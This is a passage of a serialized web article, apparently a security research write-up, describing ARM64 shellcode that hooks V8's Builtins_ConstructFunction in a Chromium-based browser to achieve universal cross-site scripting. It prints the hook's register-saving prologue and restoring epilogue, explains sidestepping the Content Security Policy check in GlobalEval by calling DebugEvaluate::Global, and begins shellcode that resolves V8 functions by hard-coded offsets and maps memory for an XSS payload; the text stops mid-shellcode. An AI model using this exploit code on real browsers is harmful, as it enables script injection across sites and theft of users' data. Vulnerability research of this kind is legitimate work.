context\n",{"type":23,"tag":481,"props":137673,"children":137674},{"class":483,"line":567},[137675],{"type":23,"tag":481,"props":137676,"children":137677},{},[137678],{"type":28,"value":137679},"stp x0, x1, [sp, #-16]!\n",{"type":23,"tag":481,"props":137681,"children":137682},{"class":483,"line":678},[137683],{"type":23,"tag":481,"props":137684,"children":137685},{},[137686],{"type":28,"value":137687},"stp x2, x3, [sp, #-16]!\n",{"type":23,"tag":481,"props":137689,"children":137690},{"class":483,"line":784},[137691],{"type":23,"tag":481,"props":137692,"children":137693},{},[137694],{"type":28,"value":137695},"stp x4, x5, [sp, #-16]!\n",{"type":23,"tag":481,"props":137697,"children":137698},{"class":483,"line":812},[137699],{"type":23,"tag":481,"props":137700,"children":137701},{},[137702],{"type":28,"value":137703},"stp x6, x7, [sp, #-16]!\n",{"type":23,"tag":481,"props":137705,"children":137706},{"class":483,"line":825},[137707],{"type":23,"tag":481,"props":137708,"children":137709},{},[137710],{"type":28,"value":137711},"stp x8, x9, [sp, #-16]!\n",{"type":23,"tag":481,"props":137713,"children":137714},{"class":483,"line":843},[137715],{"type":23,"tag":481,"props":137716,"children":137717},{},[137718],{"type":28,"value":137719},"stp x10, x11, [sp, #-16]!\n",{"type":23,"tag":481,"props":137721,"children":137722},{"class":483,"line":864},[137723],{"type":23,"tag":481,"props":137724,"children":137725},{},[137726],{"type":28,"value":137727},"stp x12, x13, [sp, #-16]!\n",{"type":23,"tag":481,"props":137729,"children":137730},{"class":483,"line":873},[137731],{"type":23,"tag":481,"props":137732,"children":137733},{},[137734],{"type":28,"value":137735},"stp x14, x15, [sp, #-16]!\n",{"type":23,"tag":481,"props":137737,"children":137738},{"class":483,"line":1125},[137739],{"type":23,"tag":481,"props":137740,"children":137741},{},[137742],{"type":28,"value":137743},"stp x16, x17, [sp, #-16]!\n",{"type":23,"tag":481,"props":137745,"children":137746},{"class":483,"line":1142},[137747],{"type":23,"tag":481,"props":137748,"children":137749},{},[137750],{"type":28,"value":137751},"stp x18, x19, [sp, #-16]!\n",{"type":23,"tag":481,"props":137753,"children":137754},{"class":483,"line":1159},[137755],{"type":23,"tag":481,"props":137756,"children":137757},{},[137758],{"type":28,"value":137759},"stp x20, x21, [sp, #-16]!\n",{"type":23,"tag":481,"props":137761,"children":137762},{"class":483,"line":1172},[137763],{"type":23,"tag":481,"props":137764,"children":137765},{},[137766],{"type":28,"value":137767},"stp x22, x23, [sp, #-16]!\n",{"type":23,"tag":481,"props":137769,"children":137770},{"class":483,"line":1181},[137771],{"type":23,"tag":481,"props":137772,"children":137773},{},[137774],{"type":28,"value":137775},"stp x24, x25, [sp, #-16]!\n",{"type":23,"tag":481,"props":137777,"children":137778},{"class":483,"line":1204},[137779],{"type":23,"tag":481,"props":137780,"children":137781},{},[137782],{"type":28,"value":137783},"stp x26, x27, [sp, #-16]!\n",{"type":23,"tag":481,"props":137785,"children":137786},{"class":483,"line":1213},[137787],{"type":23,"tag":481,"props":137788,"children":137789},{},[137790],{"type":28,"value":137791},"stp x28, x29, [sp, #-16]!\n",{"type":23,"tag":481,"props":137793,"children":137794},{"class":483,"line":1222},[137795],{"type":23,"tag":481,"props":137796,"children":137797},{},[137798],{"type":28,"value":137799},"str lr, [sp, #-16]!\n",{"type":23,"tag":24,"props":137801,"children":137802},{},[137803],{"type":28,"value":137804},"All registers are saved to the stack because we don't know which registers may be clobbered by functions invoked later.",{"type":23,"tag":24,"props":137806,"children":137807},{},[137808,137810,137815],{"type":28,"value":137809},"The epilogue restores all saved registers, restores the original instructions in ",{"type":23,"tag":64,"props":137811,"children":137813},{"className":137812},[],[137814],{"type":28,"value":137000},{"type":28,"value":137816},", and then returns execution to its beginning:",{"type":23,"tag":435,"props":137818,"children":137820},{"code":137819,"language":137053,"meta":7,"className":137054,"style":7},"// restore original instructions of Builtins_ConstructFunction\nldr lr, [sp], #16\n// move lr to the beginning of Builtins_ConstructFunction\nsub lr, lr, #{5 * INSTR_SIZE}\n{write_sc(orig_compile_instrs, \"lr\")}\n\n// wipe from cache\nmov x0, lr\n{WIPE_CACHE}\n\n// restore original registers\nldp x28, x29, [sp], #16\nldp x26, x27, [sp], #16\nldp x24, x25, [sp], #16\nldp x22, x23, [sp], #16\nldp x20, x21, [sp], #16\nldp x18, x19, [sp], #16\nldp x16, x17, [sp], #16\nldp x14, x15, [sp], #16\nldp x12, x13, [sp], #16\nldp x10, x11, [sp], #16\nldp x8, x9, [sp], #16\nldp x6, x7, [sp], #16\nldp x4, x5, [sp], #16\nldp x2, x3, [sp], #16\nldp x0, x1, [sp], #16\n\n// Builtins_ConstructFunction doesnt care about x4 and overwrites\n// it immediately, so we can clobber and use it as a return register.\n// This is done so lr isnt clobbered and ConstructFunction knows\n// where to return\nmov x4, lr\n\n// x15 and lr were saved in patched Builtins_ConstructFunction\nldp x15, lr, [sp], #16\n\nret x4\n",[137821],{"type":23,"tag":64,"props":137822,"children":137823},{"__ignoreMap":7},[137824,137832,137840,137848,137856,137864,137871,137878,137886,137893,137900,137908,137916,137924,137932,137940,137948,137956,137964,137972,137980,137988,137996,138004,138012,138020,138028,138035,138043,138051,138059,138067,138075,138082,138090,138098,138105],{"type":23,"tag":481,"props":137825,"children":137826},{"class":483,"line":484},[137827],{"type":23,"tag":481,"props":137828,"children":137829},{},[137830],{"type":28,"value":137831},"// restore original instructions of Builtins_ConstructFunction\n",{"type":23,"tag":481,"props":137833,"children":137834},{"class":483,"line":351},[137835],{"type":23,"tag":481,"props":137836,"children":137837},{},[137838],{"type":28,"value":137839},"ldr lr, [sp], #16\n",{"type":23,"tag":481,"props":137841,"children":137842},{"class":483,"line":531},[137843],{"type":23,"tag":481,"props":137844,"children":137845},{},[137846],{"type":28,"value":137847},"// move lr to the beginning of Builtins_ConstructFunction\n",{"type":23,"tag":481,"props":137849,"children":137850},{"class":483,"line":567},[137851],{"type":23,"tag":481,"props":137852,"children":137853},{},[137854],{"type":28,"value":137855},"sub lr, lr, #{5 * INSTR_SIZE}\n",{"type":23,"tag":481,"props":137857,"children":137858},{"class":483,"line":678},[137859],{"type":23,"tag":481,"props":137860,"children":137861},{},[137862],{"type":28,"value":137863},"{write_sc(orig_compile_instrs, \"lr\")}\n",{"type":23,"tag":481,"props":137865,"children":137866},{"class":483,"line":784},[137867],{"type":23,"tag":481,"props":137868,"children":137869},{"emptyLinePlaceholder":15},[137870],{"type":28,"value":1210},{"type":23,"tag":481,"props":137872,"children":137873},{"class":483,"line":812},[137874],{"type":23,"tag":481,"props":137875,"children":137876},{},[137877],{"type":28,"value":137406},{"type":23,"tag":481,"props":137879,"children":137880},{"class":483,"line":825},[137881],{"type":23,"tag":481,"props":137882,"children":137883},{},[137884],{"type":28,"value":137885},"mov x0, lr\n",{"type":23,"tag":481,"props":137887,"children":137888},{"class":483,"line":843},[137889],{"type":23,"tag":481,"props":137890,"children":137891},{},[137892],{"type":28,"value":137422},{"type":23,"tag":481,"props":137894,"children":137895},{"class":483,"line":864},[137896],{"type":23,"tag":481,"props":137897,"children":137898},{"emptyLinePlaceholder":15},[137899],{"type":28,"value":1210},{"type":23,"tag":481,"props":137901,"children":137902},{"class":483,"line":873},[137903],{"type":23,"tag":481,"props":137904,"children":137905},{},[137906],{"type":28,"value":137907},"// restore original registers\n",{"type":23,"tag":481,"props":137909,"children":137910},{"class":483,"line":1125},[137911],{"type":23,"tag":481,"props":137912,"children":137913},{},[137914],{"type":28,"value":137915},"ldp x28, x29, [sp], #16\n",{"type":23,"tag":481,"props":137917,"children":137918},{"class":483,"line":1142},[137919],{"type":23,"tag":481,"props":137920,"children":137921},{},[137922],{"type":28,"value":137923},"ldp x26, x27, [sp], #16\n",{"type":23,"tag":481,"props":137925,"children":137926},{"class":483,"line":1159},[137927],{"type":23,"tag":481,"props":137928,"children":137929},{},[137930],{"type":28,"value":137931},"ldp x24, x25, [sp], #16\n",{"type":23,"tag":481,"props":137933,"children":137934},{"class":483,"line":1172},[137935],{"type":23,"tag":481,"props":137936,"children":137937},{},[137938],{"type":28,"value":137939},"ldp x22, x23, [sp], #16\n",{"type":23,"tag":481,"props":137941,"children":137942},{"class":483,"line":1181},[137943],{"type":23,"tag":481,"props":137944,"children":137945},{},[137946],{"type":28,"value":137947},"ldp x20, x21, [sp], #16\n",{"type":23,"tag":481,"props":137949,"children":137950},{"class":483,"line":1204},[137951],{"type":23,"tag":481,"props":137952,"children":137953},{},[137954],{"type":28,"value":137955},"ldp x18, x19, [sp], #16\n",{"type":23,"tag":481,"props":137957,"children":137958},{"class":483,"line":1213},[137959],{"type":23,"tag":481,"props":137960,"children":137961},{},[137962],{"type":28,"value":137963},"ldp x16, x17, [sp], #16\n",{"type":23,"tag":481,"props":137965,"children":137966},{"class":483,"line":1222},[137967],{"type":23,"tag":481,"props":137968,"children":137969},{},[137970],{"type":28,"value":137971},"ldp x14, x15, [sp], #16\n",{"type":23,"tag":481,"props":137973,"children":137974},{"class":483,"line":1291},[137975],{"type":23,"tag":481,"props":137976,"children":137977},{},[137978],{"type":28,"value":137979},"ldp x12, x13, [sp], #16\n",{"type":23,"tag":481,"props":137981,"children":137982},{"class":483,"line":1299},[137983],{"type":23,"tag":481,"props":137984,"children":137985},{},[137986],{"type":28,"value":137987},"ldp x10, x11, [sp], #16\n",{"type":23,"tag":481,"props":137989,"children":137990},{"class":483,"line":1329},[137991],{"type":23,"tag":481,"props":137992,"children":137993},{},[137994],{"type":28,"value":137995},"ldp x8, x9, [sp], #16\n",{"type":23,"tag":481,"props":137997,"children":137998},{"class":483,"line":1337},[137999],{"type":23,"tag":481,"props":138000,"children":138001},{},[138002],{"type":28,"value":138003},"ldp x6, x7, [sp], #16\n",{"type":23,"tag":481,"props":138005,"children":138006},{"class":483,"line":1369},[138007],{"type":23,"tag":481,"props":138008,"children":138009},{},[138010],{"type":28,"value":138011},"ldp x4, x5, [sp], #16\n",{"type":23,"tag":481,"props":138013,"children":138014},{"class":483,"line":1377},[138015],{"type":23,"tag":481,"props":138016,"children":138017},{},[138018],{"type":28,"value":138019},"ldp x2, x3, [sp], #16\n",{"type":23,"tag":481,"props":138021,"children":138022},{"class":483,"line":1437},[138023],{"type":23,"tag":481,"props":138024,"children":138025},{},[138026],{"type":28,"value":138027},"ldp x0, x1, [sp], #16\n",{"type":23,"tag":481,"props":138029,"children":138030},{"class":483,"line":6528},[138031],{"type":23,"tag":481,"props":138032,"children":138033},{"emptyLinePlaceholder":15},[138034],{"type":28,"value":1210},{"type":23,"tag":481,"props":138036,"children":138037},{"class":483,"line":6546},[138038],{"type":23,"tag":481,"props":138039,"children":138040},{},[138041],{"type":28,"value":138042},"// Builtins_ConstructFunction doesnt care about x4 and overwrites\n",{"type":23,"tag":481,"props":138044,"children":138045},{"class":483,"line":6591},[138046],{"type":23,"tag":481,"props":138047,"children":138048},{},[138049],{"type":28,"value":138050},"// it immediately, so we can clobber and use it as a return register.\n",{"type":23,"tag":481,"props":138052,"children":138053},{"class":483,"line":6697},[138054],{"type":23,"tag":481,"props":138055,"children":138056},{},[138057],{"type":28,"value":138058},"// This is done so lr isnt clobbered and ConstructFunction knows\n",{"type":23,"tag":481,"props":138060,"children":138061},{"class":483,"line":21008},[138062],{"type":23,"tag":481,"props":138063,"children":138064},{},[138065],{"type":28,"value":138066},"// where to return\n",{"type":23,"tag":481,"props":138068,"children":138069},{"class":483,"line":21043},[138070],{"type":23,"tag":481,"props":138071,"children":138072},{},[138073],{"type":28,"value":138074},"mov x4, lr\n",{"type":23,"tag":481,"props":138076,"children":138077},{"class":483,"line":21051},[138078],{"type":23,"tag":481,"props":138079,"children":138080},{"emptyLinePlaceholder":15},[138081],{"type":28,"value":1210},{"type":23,"tag":481,"props":138083,"children":138084},{"class":483,"line":21059},[138085],{"type":23,"tag":481,"props":138086,"children":138087},{},[138088],{"type":28,"value":138089},"// x15 and lr were saved in patched Builtins_ConstructFunction\n",{"type":23,"tag":481,"props":138091,"children":138092},{"class":483,"line":21068},[138093],{"type":23,"tag":481,"props":138094,"children":138095},{},[138096],{"type":28,"value":138097},"ldp x15, lr, [sp], #16\n",{"type":23,"tag":481,"props":138099,"children":138100},{"class":483,"line":21110},[138101],{"type":23,"tag":481,"props":138102,"children":138103},{"emptyLinePlaceholder":15},[138104],{"type":28,"value":1210},{"type":23,"tag":481,"props":138106,"children":138107},{"class":483,"line":21143},[138108],{"type":23,"tag":481,"props":138109,"children":138110},{},[138111],{"type":28,"value":138112},"ret x4\n",{"type":23,"tag":24,"props":138114,"children":138115},{},[138116,138118,138123,138125,138130,138132,138138],{"type":28,"value":138117},"At this point, we have successfully hooked ",{"type":23,"tag":64,"props":138119,"children":138121},{"className":138120},[],[138122],{"type":28,"value":137000},{"type":28,"value":138124}," and can execute arbitrary shellcode whenever it is invoked from within the ",{"type":23,"tag":64,"props":138126,"children":138128},{"className":138127},[],[138129],{"type":28,"value":137516},{"type":28,"value":138131}," body. For our purposes, we want to evaluate an arbitrary JavaScript string to achieve UXSS, and the first function we examined for this was ",{"type":23,"tag":64,"props":138133,"children":138135},{"className":138134},[],[138136],{"type":28,"value":138137},"Builtins_GlobalEval",{"type":28,"value":199},{"type":23,"tag":24,"props":138140,"children":138141},{},[138142,138147,138149,138154,138156,138161],{"type":23,"tag":64,"props":138143,"children":138145},{"className":138144},[],[138146],{"type":28,"value":138137},{"type":28,"value":138148}," takes a single ",{"type":23,"tag":64,"props":138150,"children":138152},{"className":138151},[],[138153],{"type":28,"value":45451},{"type":28,"value":138155}," argument that it evaluates. However, it comes with some complications. One notable issue is that it checks whether the Content Security Policy (CSP) allows the use of ",{"type":23,"tag":64,"props":138157,"children":138159},{"className":138158},[],[138160],{"type":28,"value":35066},{"type":28,"value":287},{"type":23,"tag":435,"props":138163,"children":138165},{"code":138164,"language":26625,"meta":7,"className":26623,"style":7},"BUILTIN(GlobalEval) {\n [...]\n\n if (!Builtins::AllowDynamicFunction(isolate, target, target_global_proxy)) {\n isolate->CountUsage(v8::Isolate::kFunctionConstructorReturnedUndefined);\n return ReadOnlyRoots(isolate).undefined_value();\n }\n",[138166],{"type":23,"tag":64,"props":138167,"children":138168},{"__ignoreMap":7},[138169,138182,138189,138196,138239,138261,138287],{"type":23,"tag":481,"props":138170,"children":138171},{"class":483,"line":484},[138172,138177],{"type":23,"tag":481,"props":138173,"children":138174},{"style":610},[138175],{"type":28,"value":138176},"BUILTIN",{"type":23,"tag":481,"props":138178,"children":138179},{"style":525},[138180],{"type":28,"value":138181},"(GlobalEval) {\n",{"type":23,"tag":481,"props":138183,"children":138184},{"class":483,"line":351},[138185],{"type":23,"tag":481,"props":138186,"children":138187},{"style":525},[138188],{"type":28,"value":124685},{"type":23,"tag":481,"props":138190,"children":138191},{"class":483,"line":531},[138192],{"type":23,"tag":481,"props":138193,"children":138194},{"emptyLinePlaceholder":15},[138195],{"type":28,"value":1210},{"type":23,"tag":481,"props":138197,"children":138198},{"class":483,"line":567},[138199,138204,138209,138213,138218,138222,138226,138230,138235],{"type":23,"tag":481,"props":138200,"children":138201},{"style":525},[138202],{"type":28,"value":138203}," if (!Builtins::",{"type":23,"tag":481,"props":138205,"children":138206},{"style":943},[138207],{"type":28,"value":138208},"AllowDynamicFunction",{"type":23,"tag":481,"props":138210,"children":138211},{"style":525},[138212],{"type":28,"value":618},{"type":23,"tag":481,"props":138214,"children":138215},{"style":943},[138216],{"type":28,"value":138217},"isolate",{"type":23,"tag":481,"props":138219,"children":138220},{"style":525},[138221],{"type":28,"value":588},{"type":23,"tag":481,"props":138223,"children":138224},{"style":943},[138225],{"type":28,"value":112610},{"type":23,"tag":481,"props":138227,"children":138228},{"style":525},[138229],{"type":28,"value":588},{"type":23,"tag":481,"props":138231,"children":138232},{"style":943},[138233],{"type":28,"value":138234},"target_global_proxy",{"type":23,"tag":481,"props":138236,"children":138237},{"style":525},[138238],{"type":28,"value":32711},{"type":23,"tag":481,"props":138240,"children":138241},{"class":483,"line":678},[138242,138247,138251,138256],{"type":23,"tag":481,"props":138243,"children":138244},{"style":508},[138245],{"type":28,"value":138246}," isolate",{"type":23,"tag":481,"props":138248,"children":138249},{"style":525},[138250],{"type":28,"value":11245},{"type":23,"tag":481,"props":138252,"children":138253},{"style":610},[138254],{"type":28,"value":138255},"CountUsage",{"type":23,"tag":481,"props":138257,"children":138258},{"style":525},[138259],{"type":28,"value":138260},"(v8::Isolate::kFunctionConstructorReturnedUndefined);\n",{"type":23,"tag":481,"props":138262,"children":138263},{"class":483,"line":784},[138264,138268,138273,138278,138283],{"type":23,"tag":481,"props":138265,"children":138266},{"style":535},[138267],{"type":28,"value":14481},{"type":23,"tag":481,"props":138269,"children":138270},{"style":610},[138271],{"type":28,"value":138272}," ReadOnlyRoots",{"type":23,"tag":481,"props":138274,"children":138275},{"style":525},[138276],{"type":28,"value":138277},"(isolate).",{"type":23,"tag":481,"props":138279,"children":138280},{"style":610},[138281],{"type":28,"value":138282},"undefined_value",{"type":23,"tag":481,"props":138284,"children":138285},{"style":525},[138286],{"type":28,"value":1201},{"type":23,"tag":481,"props":138288,"children":138289},{"class":483,"line":812},[138290],{"type":23,"tag":481,"props":138291,"children":138292},{"style":525},[138293],{"type":28,"value":3348},{"type":23,"tag":24,"props":138295,"children":138296},{},[138297,138299,138304],{"type":28,"value":138298},"This means we would need to patch the function further to ensure it never enters this ",{"type":23,"tag":64,"props":138300,"children":138302},{"className":138301},[],[138303],{"type":28,"value":13069},{"type":28,"value":138305}," block.",{"type":23,"tag":24,"props":138307,"children":138308},{},[138309],{"type":28,"value":138310},"Alternatively, we could replicate the calls made once the security checks pass:",{"type":23,"tag":435,"props":138312,"children":138314},{"code":138313,"language":26625,"meta":7,"className":26623,"style":7},"BUILTIN(GlobalEval) {\n\n [...]\n\n DirectHandle\u003CJSFunction> function;\n ASSIGN_RETURN_FAILURE_ON_EXCEPTION(\n isolate, function,\n Compiler::GetFunctionFromValidatedString(\n direct_handle(target->native_context(), isolate), source,\n NO_PARSE_RESTRICTION, kNoSourcePosition));\n RETURN_RESULT_OR_FAILURE(\n isolate, Execution::Call(isolate, function, target_global_proxy, {}));\n",[138315],{"type":23,"tag":64,"props":138316,"children":138317},{"__ignoreMap":7},[138318,138329,138336,138343,138350,138358,138370,138378,138395,138425,138433,138445],{"type":23,"tag":481,"props":138319,"children":138320},{"class":483,"line":484},[138321,138325],{"type":23,"tag":481,"props":138322,"children":138323},{"style":610},[138324],{"type":28,"value":138176},{"type":23,"tag":481,"props":138326,"children":138327},{"style":525},[138328],{"type":28,"value":138181},{"type":23,"tag":481,"props":138330,"children":138331},{"class":483,"line":351},[138332],{"type":23,"tag":481,"props":138333,"children":138334},{"emptyLinePlaceholder":15},[138335],{"type":28,"value":1210},{"type":23,"tag":481,"props":138337,"children":138338},{"class":483,"line":531},[138339],{"type":23,"tag":481,"props":138340,"children":138341},{"style":525},[138342],{"type":28,"value":124685},{"type":23,"tag":481,"props":138344,"children":138345},{"class":483,"line":567},[138346],{"type":23,"tag":481,"props":138347,"children":138348},{"emptyLinePlaceholder":15},[138349],{"type":28,"value":1210},{"type":23,"tag":481,"props":138351,"children":138352},{"class":483,"line":678},[138353],{"type":23,"tag":481,"props":138354,"children":138355},{"style":525},[138356],{"type":28,"value":138357}," DirectHandle\u003CJSFunction> function;\n",{"type":23,"tag":481,"props":138359,"children":138360},{"class":483,"line":784},[138361,138366],{"type":23,"tag":481,"props":138362,"children":138363},{"style":610},[138364],{"type":28,"value":138365}," ASSIGN_RETURN_FAILURE_ON_EXCEPTION",{"type":23,"tag":481,"props":138367,"children":138368},{"style":525},[138369],{"type":28,"value":988},{"type":23,"tag":481,"props":138371,"children":138372},{"class":483,"line":812},[138373],{"type":23,"tag":481,"props":138374,"children":138375},{"style":525},[138376],{"type":28,"value":138377}," isolate, function,\n",{"type":23,"tag":481,"props":138379,"children":138380},{"class":483,"line":825},[138381,138386,138391],{"type":23,"tag":481,"props":138382,"children":138383},{"style":525},[138384],{"type":28,"value":138385}," Compiler::",{"type":23,"tag":481,"props":138387,"children":138388},{"style":610},[138389],{"type":28,"value":138390},"GetFunctionFromValidatedString",{"type":23,"tag":481,"props":138392,"children":138393},{"style":525},[138394],{"type":28,"value":988},{"type":23,"tag":481,"props":138396,"children":138397},{"class":483,"line":843},[138398,138403,138407,138411,138415,138420],{"type":23,"tag":481,"props":138399,"children":138400},{"style":610},[138401],{"type":28,"value":138402}," direct_handle",{"type":23,"tag":481,"props":138404,"children":138405},{"style":525},[138406],{"type":28,"value":618},{"type":23,"tag":481,"props":138408,"children":138409},{"style":508},[138410],{"type":28,"value":112610},{"type":23,"tag":481,"props":138412,"children":138413},{"style":525},[138414],{"type":28,"value":11245},{"type":23,"tag":481,"props":138416,"children":138417},{"style":610},[138418],{"type":28,"value":138419},"native_context",{"type":23,"tag":481,"props":138421,"children":138422},{"style":525},[138423],{"type":28,"value":138424},"(), isolate), source,\n",{"type":23,"tag":481,"props":138426,"children":138427},{"class":483,"line":864},[138428],{"type":23,"tag":481,"props":138429,"children":138430},{"style":525},[138431],{"type":28,"value":138432}," NO_PARSE_RESTRICTION, kNoSourcePosition));\n",{"type":23,"tag":481,"props":138434,"children":138435},{"class":483,"line":873},[138436,138441],{"type":23,"tag":481,"props":138437,"children":138438},{"style":610},[138439],{"type":28,"value":138440}," RETURN_RESULT_OR_FAILURE",{"type":23,"tag":481,"props":138442,"children":138443},{"style":525},[138444],{"type":28,"value":988},{"type":23,"tag":481,"props":138446,"children":138447},{"class":483,"line":1125},[138448,138453,138458],{"type":23,"tag":481,"props":138449,"children":138450},{"style":525},[138451],{"type":28,"value":138452}," isolate, Execution::",{"type":23,"tag":481,"props":138454,"children":138455},{"style":610},[138456],{"type":28,"value":138457},"Call",{"type":23,"tag":481,"props":138459,"children":138460},{"style":525},[138461],{"type":28,"value":138462},"(isolate, function, target_global_proxy, {}));\n",{"type":23,"tag":24,"props":138464,"children":138465},{},[138466,138468,138473,138475,138481,138483,138489,138491,138497],{"type":28,"value":138467},"But determining the correct ",{"type":23,"tag":64,"props":138469,"children":138471},{"className":138470},[],[138472],{"type":28,"value":112610},{"type":28,"value":138474}," value, obtaining ",{"type":23,"tag":64,"props":138476,"children":138478},{"className":138477},[],[138479],{"type":28,"value":138480},"target->native_context()",{"type":28,"value":138482},", and locating the ",{"type":23,"tag":64,"props":138484,"children":138486},{"className":138485},[],[138487],{"type":28,"value":138488},"direct_handle",{"type":28,"value":138490}," function, just to make a proper call to ",{"type":23,"tag":64,"props":138492,"children":138494},{"className":138493},[],[138495],{"type":28,"value":138496},"Compiler::GetFunctionFromValidatedString",{"type":28,"value":138498},", seemed unnecessarily cumbersome.",{"type":23,"tag":24,"props":138500,"children":138501},{},[138502,138504,138510],{"type":28,"value":138503},"Instead, we found a much simpler option with no security checks: ",{"type":23,"tag":64,"props":138505,"children":138507},{"className":138506},[],[138508],{"type":28,"value":138509},"DebugEvaluate::Global",{"type":28,"value":138511},". This function is used by the DevTools console to evaluate JavaScript entered there.",{"type":23,"tag":24,"props":138513,"children":138514},{},[138515],{"type":28,"value":138516},"For our needs, it is straightforward to call:",{"type":23,"tag":435,"props":138518,"children":138520},{"code":138519,"language":26625,"meta":7,"className":26623,"style":7},"MaybeDirectHandle\u003CObject> DebugEvaluate::Global(Isolate* isolate,\n Handle\u003CString> source,\n debug::EvaluateGlobalMode mode,\n REPLMode repl_mode);\n",[138521],{"type":23,"tag":64,"props":138522,"children":138523},{"__ignoreMap":7},[138524,138572,138601,138622],{"type":23,"tag":481,"props":138525,"children":138526},{"class":483,"line":484},[138527,138532,138536,138540,138545,138550,138554,138559,138563,138568],{"type":23,"tag":481,"props":138528,"children":138529},{"style":943},[138530],{"type":28,"value":138531},"MaybeDirectHandle",{"type":23,"tag":481,"props":138533,"children":138534},{"style":525},[138535],{"type":28,"value":3282},{"type":23,"tag":481,"props":138537,"children":138538},{"style":943},[138539],{"type":28,"value":46376},{"type":23,"tag":481,"props":138541,"children":138542},{"style":525},[138543],{"type":28,"value":138544},"> DebugEvaluate::",{"type":23,"tag":481,"props":138546,"children":138547},{"style":610},[138548],{"type":28,"value":138549},"Global",{"type":23,"tag":481,"props":138551,"children":138552},{"style":525},[138553],{"type":28,"value":618},{"type":23,"tag":481,"props":138555,"children":138556},{"style":943},[138557],{"type":28,"value":138558},"Isolate",{"type":23,"tag":481,"props":138560,"children":138561},{"style":497},[138562],{"type":28,"value":2120},{"type":23,"tag":481,"props":138564,"children":138565},{"style":508},[138566],{"type":28,"value":138567}," isolate",{"type":23,"tag":481,"props":138569,"children":138570},{"style":525},[138571],{"type":28,"value":1033},{"type":23,"tag":481,"props":138573,"children":138574},{"class":483,"line":351},[138575,138580,138584,138588,138592,138597],{"type":23,"tag":481,"props":138576,"children":138577},{"style":943},[138578],{"type":28,"value":138579}," Handle",{"type":23,"tag":481,"props":138581,"children":138582},{"style":525},[138583],{"type":28,"value":3282},{"type":23,"tag":481,"props":138585,"children":138586},{"style":943},[138587],{"type":28,"value":45451},{"type":23,"tag":481,"props":138589,"children":138590},{"style":525},[138591],{"type":28,"value":3297},{"type":23,"tag":481,"props":138593,"children":138594},{"style":508},[138595],{"type":28,"value":138596},"source",{"type":23,"tag":481,"props":138598,"children":138599},{"style":525},[138600],{"type":28,"value":1033},{"type":23,"tag":481,"props":138602,"children":138603},{"class":483,"line":531},[138604,138609,138614,138618],{"type":23,"tag":481,"props":138605,"children":138606},{"style":525},[138607],{"type":28,"value":138608}," debug::",{"type":23,"tag":481,"props":138610,"children":138611},{"style":943},[138612],{"type":28,"value":138613},"EvaluateGlobalMode",{"type":23,"tag":481,"props":138615,"children":138616},{"style":508},[138617],{"type":28,"value":103806},{"type":23,"tag":481,"props":138619,"children":138620},{"style":525},[138621],{"type":28,"value":1033},{"type":23,"tag":481,"props":138623,"children":138624},{"class":483,"line":567},[138625,138630,138635],{"type":23,"tag":481,"props":138626,"children":138627},{"style":943},[138628],{"type":28,"value":138629}," REPLMode",{"type":23,"tag":481,"props":138631,"children":138632},{"style":508},[138633],{"type":28,"value":138634}," repl_mode",{"type":23,"tag":481,"props":138636,"children":138637},{"style":525},[138638],{"type":28,"value":1366},{"type":23,"tag":24,"props":138640,"children":138641},{},[138642,138644,138649,138651,138656,138658,138663,138665,138671,138672,138678],{"type":28,"value":138643},"We must supply the ",{"type":23,"tag":64,"props":138645,"children":138647},{"className":138646},[],[138648],{"type":28,"value":138217},{"type":28,"value":138650}," pointer, a ",{"type":23,"tag":64,"props":138652,"children":138654},{"className":138653},[],[138655],{"type":28,"value":45451},{"type":28,"value":138657}," object containing our XSS payload as ",{"type":23,"tag":64,"props":138659,"children":138661},{"className":138660},[],[138662],{"type":28,"value":138596},{"type":28,"value":138664},", and the ",{"type":23,"tag":64,"props":138666,"children":138668},{"className":138667},[],[138669],{"type":28,"value":138670},"mode",{"type":28,"value":8478},{"type":23,"tag":64,"props":138673,"children":138675},{"className":138674},[],[138676],{"type":28,"value":138677},"repl_mode",{"type":28,"value":138679}," values, which are simple enum literals.",{"type":23,"tag":24,"props":138681,"children":138682},{},[138683,138685,138690,138692,138698,138700,138705,138707,138712,138714,138720,138722,138728,138730,138735,138737,138742,138744,138749,138751,138756],{"type":28,"value":138684},"To obtain the ",{"type":23,"tag":64,"props":138686,"children":138688},{"className":138687},[],[138689],{"type":28,"value":138217},{"type":28,"value":138691}," pointer within our shellcode, we call ",{"type":23,"tag":64,"props":138693,"children":138695},{"className":138694},[],[138696],{"type":28,"value":138697},"Isolate::TryGetCurrent()",{"type":28,"value":138699},", which returns the current ",{"type":23,"tag":64,"props":138701,"children":138703},{"className":138702},[],[138704],{"type":28,"value":138217},{"type":28,"value":138706},". To construct a valid ",{"type":23,"tag":64,"props":138708,"children":138710},{"className":138709},[],[138711],{"type":28,"value":45451},{"type":28,"value":138713}," object holding our payload, we call ",{"type":23,"tag":64,"props":138715,"children":138717},{"className":138716},[],[138718],{"type":28,"value":138719},"v8::String::NewFromUTF8",{"type":28,"value":138721},". This ",{"type":23,"tag":64,"props":138723,"children":138725},{"className":138724},[],[138726],{"type":28,"value":138727},"NewFromUTF8",{"type":28,"value":138729}," function takes four arguments: the ",{"type":23,"tag":64,"props":138731,"children":138733},{"className":138732},[],[138734],{"type":28,"value":138217},{"type":28,"value":138736},", the string bytes as ",{"type":23,"tag":64,"props":138738,"children":138740},{"className":138739},[],[138741],{"type":28,"value":1237},{"type":28,"value":138743},", an enum literal specifying the string type, and ",{"type":23,"tag":64,"props":138745,"children":138747},{"className":138746},[],[138748],{"type":28,"value":5983},{"type":28,"value":138750},", which is the size of the ",{"type":23,"tag":64,"props":138752,"children":138754},{"className":138753},[],[138755],{"type":28,"value":1237},{"type":28,"value":14656},{"type":23,"tag":24,"props":138758,"children":138759},{},[138760],{"type":28,"value":138761},"The resulting shellcode that executes our XSS payload looks like this:",{"type":23,"tag":435,"props":138763,"children":138765},{"code":138764,"language":137053,"meta":7,"className":137054,"style":7},"// get isolate ptr, v8::Isolate::TryGetCurrent(0x9ba3bd0)\nmovz x1, #0xf7a0\nmovk x1, #0x0071, lsl #16\nadd x9, x12, x1\nmovz x1, #0x5ac8\nmovk x1, #0x054f, lsl #16\nadd x0, x12, x1\nblr x9\n// *x0 is isolate pointer\n// store isolate ptr to stack\nldr x13, [x0]\nstr x13, [sp, #-16]!\n\n// store x10 = v8::String::NewFromUTF8\nmovz x1, #0x1140\nmovk x1, #0x0242, lsl #16\nsub x10, x12, x1\n\n// mmap a RW page for our xss payload\nmov x0, #0\nmov x1, #{page_align(len(XSS_PAYLOAD))}\nmov x2, #3\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\n// write our xss payload to mmapped rw 